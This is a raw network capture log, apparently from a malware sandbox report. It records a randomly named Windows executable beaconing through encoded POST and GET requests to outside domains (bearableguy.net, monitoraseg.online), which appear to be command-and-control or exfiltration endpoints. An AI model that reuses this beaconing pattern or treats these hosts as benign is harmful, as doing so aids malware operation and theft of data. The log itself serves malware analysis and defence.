                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.bearableguy.net
                                                                                                                                                                              Origin: http://www.bearableguy.net
                                                                                                                                                                              Referer: http://www.bearableguy.net/swj2/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 43 32 30 4c 76 73 71 76 6a 34 55 57 38 4c 56 42 79 53 78 68 49 54 69 75 51 4b 6c 30 39 47 2b 45 47 4f 4d 59 43 5a 7a 2f 73 52 68 42 7a 36 54 39 44 65 33 4d 4b 44 2f 57 4b 46 44 52 36 53 54 78 4a 61 54 56 4c 4e 35 73 5a 41 49 67 6c 54 67 47 50 76 46 4a 6f 44 75 54 74 2b 51 39 7a 53 63 30 6d 49 64 50 45 47 64 71 30 6d 52 6e 37 6e 6b 4c 68 52 6f 65 59 64 67 71 56 6e 4e 2f 72 42 39 4a 2b 4d 4f 6d 6b 6d 49 73 4d 32 62 73 67 49 50 33 64 57 52 69 36 31 69 30 61 45 36 67 4c 55 4c 48 33 30 4a 68 48 55 77 2b 35 4b 61 6c 64 45 66 6a 4e 62 54 61 4a 33 42 6d 43 69 62 50 6f 52 44 56 65 61 67 50 52 79 6a 59 34 50 4c 4d 46 51 6f 2b 52 49 7a 66 6a 63 50 50 72 41 37 30 79 30 70 4a 61 31 68 6e 74 61 76 50 4a 65 61 4d 55 6c 42 70 6a 4a 38 31 4f 66 6f 4a 59 52 43 2f 2b 46 78 44 65 48 59 75 62 4f 53 68 34 79 62 49 56 54 77 6e 6d 63 51 49 42 49 53 55 65 6f 50 48 6a 34 59 48 4d 73 45 4a 4b 38 4c 66 65 39 43 69 78 71 44 35 65 75 4f 31 49 75 4f 6b 34 45 35 48 76 73 66 56 50 51 6f 39 39 64 69 54 57 71 [TRUNCATED]
                                                                                                                                                                              Data Ascii: PDnL0H4=C20Lvsqvj4UW8LVBySxhITiuQKl09G+EGOMYCZz/sRhBz6T9De3MKD/WKFDR6STxJaTVLN5sZAIglTgGPvFJoDuTt+Q9zSc0mIdPEGdq0mRn7nkLhRoeYdgqVnN/rB9J+MOmkmIsM2bsgIP3dWRi61i0aE6gLULH30JhHUw+5KaldEfjNbTaJ3BmCibPoRDVeagPRyjY4PLMFQo+RIzfjcPPrA70y0pJa1hntavPJeaMUlBpjJ81OfoJYRC/+FxDeHYubOSh4ybIVTwnmcQIBISUeoPHj4YHMsEJK8Lfe9CixqD5euO1IuOk4E5HvsfVPQo99diTWqasIlf5hYGAzsa+V932ngwRON1KVZ9K2H+YXT/ZDaeiMsDm4QsOAByyQp92NMrI8PhSRtUY1Sm/6gXgYCbVx42oTqt8NjL1wSRZPl9XHLA4Vd/NjOXDsd1EGemGHSAyVcuitc4PW/gT0NQHhVdMfYlXkYYfoc/V4i3+0ZHBs58EVpeLsTy5hZ4c3N6y6A0ExNyn3fekJEN/A5EbOCVaaJzbIQyxG1peKNQeTlZcwHMdcPkfxyRpDnVaoHmwb28hLilIzh07cIUAaq9rmEST7TcWIkj+EAektCfUQX+83JFxfKmlrD0otMDD1N3th8izWf1b28plRs6A4VWsabZ+PzEPCkIRrBQQU0YTKEMUA+NzPXV51syT15cPsAUiO632j0XAr+LZVf4H+Fm8ssfkL4zHfeqi21PnvJmGe4g81XoUJjbv2ckZ8ejvJnBa12hIa/svdUzbC8D3s7CyO95m2Cp8uDyVoGXqO8SpB5kJTy5bKGgHfPsmKm0oeUBoqWqq8DatqdSSkoAobk2tF0oSVjjtWGce2s6D2Qd1XJpk4HbMGd3wqM+kRDLcnA2Kktvng23EXfrFjEY7aziUH0AXXoYAlCNgSVTAgYBBerZHMHe/mDvCk35yL2RqmkSTeSu9FqdG3J9fl/wzlFYX/Tn/5MeqyOXQpCGlqQs1 [TRUNCATED]


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              24192.168.2.7497303.33.130.190806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:50.183412075 CEST509OUTGET /swj2/?PDnL0H4=P0crsamxtuU6gq442A5JVDLtFaQ272SuKPgrEa6KpDZhy5jCC+7AJhWiOHv/kCv6EaT0CLlKbyEmlyMFHr9gqySJu+UUyj4X55F7OWVcwUUW7TkNkiV3TddgPHJr/SBxtLqf2BhyIm+8&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.bearableguy.net
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:17:50.537909985 CEST412INHTTP/1.1 200 OK
                                                                                                                                                                              Server: openresty
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:50 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 272
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 50 44 6e 4c 30 48 34 3d 50 30 63 72 73 61 6d 78 74 75 55 36 67 71 34 34 32 41 35 4a 56 44 4c 74 46 61 51 32 37 32 53 75 4b 50 67 72 45 61 36 4b 70 44 5a 68 79 35 6a 43 43 2b 37 41 4a 68 57 69 4f 48 76 2f 6b 43 76 36 45 61 54 30 43 4c 6c 4b 62 79 45 6d 6c 79 4d 46 48 72 39 67 71 79 53 4a 75 2b 55 55 79 6a 34 58 35 35 46 37 4f 57 56 63 77 55 55 57 37 54 6b 4e 6b 69 56 33 54 64 64 67 50 48 4a 72 2f 53 42 78 74 4c 71 66 32 42 68 79 49 6d 2b 38 26 63 4a 3d 65 5a 78 34 50 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                              Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?PDnL0H4=P0crsamxtuU6gq442A5JVDLtFaQ272SuKPgrEa6KpDZhy5jCC+7AJhWiOHv/kCv6EaT0CLlKbyEmlyMFHr9gqySJu+UUyj4X55F7OWVcwUUW7TkNkiV3TddgPHJr/SBxtLqf2BhyIm+8&cJ=eZx4P"}</script></head></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              25192.168.2.749731162.240.81.18806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:56.065814018 CEST788OUTPOST /l90v/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.monitoraseg.online
                                                                                                                                                                              Origin: http://www.monitoraseg.online
                                                                                                                                                                              Referer: http://www.monitoraseg.online/l90v/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 67 68 54 4d 33 59 44 68 44 2b 55 30 75 53 66 6c 74 64 73 5a 53 4a 67 61 44 4d 30 55 49 72 2b 47 6f 36 65 43 71 72 75 45 4f 4a 38 56 4d 79 71 6c 56 64 42 55 66 30 57 42 34 52 31 63 77 64 47 34 39 30 71 44 66 46 62 55 59 70 59 4c 34 44 73 2b 78 70 34 4d 59 47 50 36 73 51 53 38 4a 37 34 66 4e 6a 47 6a 79 6d 67 2b 53 72 50 6b 4e 73 64 58 50 49 72 61 47 79 61 74 54 64 49 38 52 54 4f 69 65 57 77 61 75 45 68 66 55 33 55 73 37 39 67 75 46 67 78 6a 37 48 72 35 51 79 70 4d 2f 34 47 76 4b 51 35 49 55 31 70 69 2f 79 64 50 50 56 37 68 33 35 54 37 52 58 34 35 6a 72 53 58 79 63 57 38 75 6e 53 76 56 52 61 49 6c 71 6a 57 4e 4c 74 31 6b 67 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=ghTM3YDhD+U0uSfltdsZSJgaDM0UIr+Go6eCqruEOJ8VMyqlVdBUf0WB4R1cwdG490qDfFbUYpYL4Ds+xp4MYGP6sQS8J74fNjGjymg+SrPkNsdXPIraGyatTdI8RTOieWwauEhfU3Us79guFgxj7Hr5QypM/4GvKQ5IU1pi/ydPPV7h35T7RX45jrSXycW8unSvVRaIlqjWNLt1kg==
                                                                                                                                                                              Oct 2, 2024 15:17:56.639946938 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx/1.20.1
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:56 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 3650
                                                                                                                                                                              Connection: close
                                                                                                                                                                              ETag: "663a05b6-e42"
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /*<![CDATA[*/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: norm [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:17:56.639964104 CEST224INData Raw: 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: border-bottom: 2px solid #000; } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center;
                                                                                                                                                                              Oct 2, 2024 15:17:56.639977932 CEST1236INData Raw: 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 43 36 45 42 34 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74
                                                                                                                                                                              Data Ascii: background-color: #3C6EB4; font-size: 1.1em; font-weight: bold; color: #fff; margin: 0; padding: 0.5em; border-bottom: 2px solid #294172;
                                                                                                                                                                              Oct 2, 2024 15:17:56.640028954 CEST1127INData Raw: 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 6f 6d 65 74 68 69 6e 67 20 68 61 73 20 74 72 69 67 67 65 72 65 64 20 6d 69 73 73 69 6e
                                                                                                                                                                              Data Ascii: <div class="content"> <p>Something has triggered missing webpage on your website. This is the default 404 error page for <strong>nginx</strong> that is distributed with


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              26192.168.2.749732162.240.81.18806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:58.606406927 CEST808OUTPOST /l90v/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.monitoraseg.online
                                                                                                                                                                              Origin: http://www.monitoraseg.online
                                                                                                                                                                              Referer: http://www.monitoraseg.online/l90v/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 67 68 54 4d 33 59 44 68 44 2b 55 30 6f 78 33 6c 76 36 51 5a 58 70 67 5a 66 63 30 55 54 62 2b 43 6f 36 43 43 71 70 43 74 4f 66 4d 56 4d 57 69 6c 55 5a 74 55 63 30 57 42 68 68 31 5a 74 4e 47 4e 39 30 32 31 66 45 6e 55 59 70 4d 4c 34 44 63 2b 78 2b 73 50 4b 47 50 38 6a 77 54 36 45 62 34 66 4e 6a 47 6a 79 6d 30 41 53 72 58 6b 4d 64 4e 58 4e 71 44 56 59 43 61 75 57 74 49 38 47 44 4f 6d 65 57 78 4a 75 46 39 31 55 31 63 73 37 39 51 75 46 30 64 38 6f 6e 72 2f 50 69 6f 6c 78 36 66 64 4d 67 55 78 4e 31 35 68 78 54 68 57 48 44 6d 44 74 62 66 58 50 47 41 43 6e 70 32 68 6c 36 4c 4a 73 6d 57 33 59 7a 75 70 36 64 47 38 41 5a 4d 78 79 5a 6e 39 4c 45 67 59 6a 48 54 30 78 44 73 75 4e 61 34 63 48 58 49 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=ghTM3YDhD+U0ox3lv6QZXpgZfc0UTb+Co6CCqpCtOfMVMWilUZtUc0WBhh1ZtNGN9021fEnUYpML4Dc+x+sPKGP8jwT6Eb4fNjGjym0ASrXkMdNXNqDVYCauWtI8GDOmeWxJuF91U1cs79QuF0d8onr/Piolx6fdMgUxN15hxThWHDmDtbfXPGACnp2hl6LJsmW3Yzup6dG8AZMxyZn9LEgYjHT0xDsuNa4cHXI=
                                                                                                                                                                              Oct 2, 2024 15:17:59.176961899 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx/1.20.1
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:59 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 3650
                                                                                                                                                                              Connection: close
                                                                                                                                                                              ETag: "663a05b6-e42"
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /*<![CDATA[*/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: norm [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:17:59.176980972 CEST1236INData Raw: 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: border-bottom: 2px solid #000; } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color:
                                                                                                                                                                              Oct 2, 2024 15:17:59.176991940 CEST1236INData Raw: 3c 68 31 3e 3c 73 74 72 6f 6e 67 3e 6e 67 69 6e 78 20 65 72 72 6f 72 21 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 68 31 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: <h1><strong>nginx error!</strong></h1> <div class="content"> <h3>The page you are looking for is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="
                                                                                                                                                                              Oct 2, 2024 15:17:59.177004099 CEST115INData Raw: 46 65 64 6f 72 61 20 5d 22 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 38 38 22 20 68 65 69 67 68 74 3d 22 33 31 22 20 2f 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20
                                                                                                                                                                              Data Ascii: Fedora ]" width="88" height="31" /></a> </div> </div> </body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              27192.168.2.749733162.240.81.18806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:18:01.337044001 CEST1821OUTPOST /l90v/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.monitoraseg.online
                                                                                                                                                                              Origin: http://www.monitoraseg.online
                                                                                                                                                                              Referer: http://www.monitoraseg.online/l90v/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 67 68 54 4d 33 59 44 68 44 2b 55 30 6f 78 33 6c 76 36 51 5a 58 70 67 5a 66 63 30 55 54 62 2b 43 6f 36 43 43 71 70 43 74 4f 66 45 56 4d 68 69 6c 57 34 74 55 54 55 57 42 70 42 31 69 74 4e 47 71 39 30 76 38 66 45 72 45 59 76 41 4c 36 69 38 2b 67 2f 73 50 51 57 50 38 37 77 54 71 4a 37 35 58 4e 6a 57 6e 79 6c 4d 41 53 72 58 6b 4d 66 6c 58 65 59 72 56 61 43 61 74 54 64 49 34 52 54 4f 43 65 57 6f 38 75 46 70 50 55 47 6b 73 37 5a 30 75 4b 68 78 38 79 6e 72 39 4d 69 6f 39 78 36 6a 47 4d 67 35 4f 4e 30 39 48 78 51 78 57 57 33 62 6d 32 35 48 33 54 41 4d 36 76 35 53 30 71 73 6e 2b 68 32 6e 49 65 69 54 4d 6b 2f 65 61 4c 37 63 45 2b 70 69 47 54 33 73 72 75 31 33 32 33 6b 39 70 55 76 31 61 62 33 4f 57 4c 54 45 7a 66 4f 6c 2f 4b 35 4c 39 52 55 4e 67 5a 4e 35 32 45 77 37 77 5a 36 7a 34 6b 35 67 6d 36 4a 30 70 67 67 68 6c 4b 46 72 38 4b 37 42 56 4d 33 6d 68 67 43 47 43 42 65 46 41 57 4b 55 6a 6a 48 47 44 39 50 50 64 50 66 2b 52 4c 69 36 4b 47 38 72 33 7a 6f 31 6f 2f 56 36 2b 65 37 63 6a 46 71 [TRUNCATED]
                                                                                                                                                                              Data Ascii: PDnL0H4=ghTM3YDhD+U0ox3lv6QZXpgZfc0UTb+Co6CCqpCtOfEVMhilW4tUTUWBpB1itNGq90v8fErEYvAL6i8+g/sPQWP87wTqJ75XNjWnylMASrXkMflXeYrVaCatTdI4RTOCeWo8uFpPUGks7Z0uKhx8ynr9Mio9x6jGMg5ON09HxQxWW3bm25H3TAM6v5S0qsn+h2nIeiTMk/eaL7cE+piGT3sru1323k9pUv1ab3OWLTEzfOl/K5L9RUNgZN52Ew7wZ6z4k5gm6J0pgghlKFr8K7BVM3mhgCGCBeFAWKUjjHGD9PPdPf+RLi6KG8r3zo1o/V6+e7cjFq+PVm2OIKaZbNp6IIWPVUPTRXPisKNCQdoQR6M3iOKuZ+12CU3L8C/bY7m0vCsnQgwu1XtIM/bRWoc5P+C6c7dk1s0Yod/gKIy5GQpcZcPPC6q6lksnFWU5eRn2moGds08/byKGPzL7DJwPlcgrAlF4pXlljdoDuH+gMhK9tZ8LQP2x8oKzJbRMsRuToBL77ccGnA0FVL9KysQOZdiTBZo/iaVPBdGZGYF1iL5QEifDSyKjeyVVlM83/TydLuFVvhh9jjsEtDWvlp1GO5i09Uh3d2yW2xpTxXCT3CpuqMPKxkfK+Mawrjh/BcpyNzAHaV6QBje0iLMz+mnPRwfHS7VPJ9nA/QE84h2qVnKTupeSpzT7EQwmLW8O45XSr1L/ccTdtPaTrGQq1dI2AV8tYjNryob+wXKDCokXy7+APvqj7EtsFrK9aNXnKldm8qHq1dsD9P2SWtwkPYCWWVM+OluLFC49MiIjLBV31rq4FGp7VjMCpaKLhSBGJDNw7aR69djh4877PEVRsoY3/J5+q7dC5Px1J2Ij+h7pWOkfGsYU3HdbDT+Nukxvot6FcWwnDArszJ/T51vXzawuTaPDb0LJrB/TAV//HAScT8XwEogfpRUAxGT0ixCi2qeysOVBa59gJorA86smkbbXCigGsEfYBxh46JBmiffB [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:18:01.788219929 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx/1.20.1
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:18:01 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 3650
                                                                                                                                                                              Connection: close
                                                                                                                                                                              ETag: "663a05b6-e42"
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /*<![CDATA[*/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: norm [TRUNCATED]
